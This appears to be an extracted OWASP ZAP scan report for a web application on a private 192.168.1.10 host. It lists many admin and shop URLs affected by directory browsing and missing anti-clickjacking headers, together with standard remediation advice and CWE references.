Attack http://192.168.1.10:80/icons/small/

Evidence Parent Directory

Instances 109

Solution Disable directory browsing. If this is required, make sure the listed files does not induce 
risks.

Reference  http://httpd.apache.org/docs/mod/core.html#options
http://alamo.satlug.org/pipermail/satlug/2002-February/000053.html

CWE Id 548

WASC Id 48

Plugin Id 0

Medium Missing Anti-clickjacking Header

Description The response does not include either Content-Security-Policy with 'frame-ancestors' 
directive or X-Frame-Options to protect against 'ClickJacking' attacks.

URL http://192.168.1.10

Method GET

Attack

Evidence

URL http://192.168.1.10/

Method GET

Attack

Evidence

URL http://192.168.1.10/aboutus.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=D;O=A

Method GET

Attack

http://192.168.1.10:80/assets/js//google-code-prettify/
http://192.168.1.10:80/icons/small/
http://httpd.apache.org/docs/mod/core.html#options
http://alamo.satlug.org/pipermail/satlug/2002-February/000053.html
https://cwe.mitre.org/data/definitions/548.html
https://www.zaproxy.org/docs/alerts/0/
http://192.168.1.10
http://192.168.1.10/
http://192.168.1.10/aboutus.php
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/
http://192.168.1.10/admin/ADMIN/?C=D;O=A


Evidence

URL http://192.168.1.10/admin/ADMIN/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/?C=D;O=D
http://192.168.1.10/admin/ADMIN/?C=M;O=A
http://192.168.1.10/admin/ADMIN/?C=M;O=D
http://192.168.1.10/admin/ADMIN/?C=N;O=A
http://192.168.1.10/admin/ADMIN/?C=N;O=D
http://192.168.1.10/admin/ADMIN/?C=S;O=A
http://192.168.1.10/admin/ADMIN/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php


URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/

http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/css/
http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/locales/


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=D;O=A

Method GET

Attack

Evidence
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Evidence
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Method GET

Attack

Evidence
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Method GET

Attack
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Method GET
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Method GET
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Method GET
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Method GET

Attack
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Method GET

Attack
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=D;O=D

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=D;O=A
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Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=M;O=A

Method GET

Attack
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Method GET
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Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=S;O=A

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=S;O=D

Method GET

Attack
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Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products1.php
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=M;O=A

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack
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Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/Audit_trail.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=N;O=A
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=S;O=A

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/css/?C=S;O=D

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=N;O=D
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/customer_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=2

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=3

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=2

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=3

Method GET

Attack
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Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=4

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=D;O=A

Method GET

Attack
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Method GET
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Method GET
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Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=A

Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=D

Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=S;O=A

Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=S;O=D

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/

Method GET

Attack
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Method GET
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Method GET
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Method GET
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Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=3
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=5
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Method GET
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_admin_report.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_asset_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_monitoring.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_database.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user.php

Method GET

http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_admin_report.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_all_changes.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_asset_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_monitoring.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_database.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php
http://192.168.1.10:80//admin/ADMIN/SERVER/user.php
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Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence

http://192.168.1.10/admin/ADMIN/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1


URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/index.php
http://192.168.1.10/admin/ADMIN/AS/print_products.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5


Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/OOS/
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/OOS/index.php
http://192.168.1.10/admin/ADMIN/OOS/print_orders.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php


Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2


URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3


Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/login.php

http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php
http://192.168.1.10/admin/index.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php


Method POST

Attack

Evidence

URL http://192.168.1.10/mail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

http://192.168.1.10/mail.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=11
http://192.168.1.10/product_details.php?%20id=2
http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=6


Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence

Instances 997

Solution

Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP 
headers. Ensure one of them is set on all web pages returned by your site/app.

If you expect the page to be framed only by pages on your server (e.g. it's part of a 
FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page 
to be framed, you should use DENY. Alternatively consider implementing Content Security 
Policy's "frame-ancestors" directive.

Reference https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

CWE Id 1021

http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=8
http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=3
http://192.168.1.10/register.php
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
https://cwe.mitre.org/data/definitions/1021.html


WASC Id 15

Plugin Id 10020

Medium Vulnerable JS Library

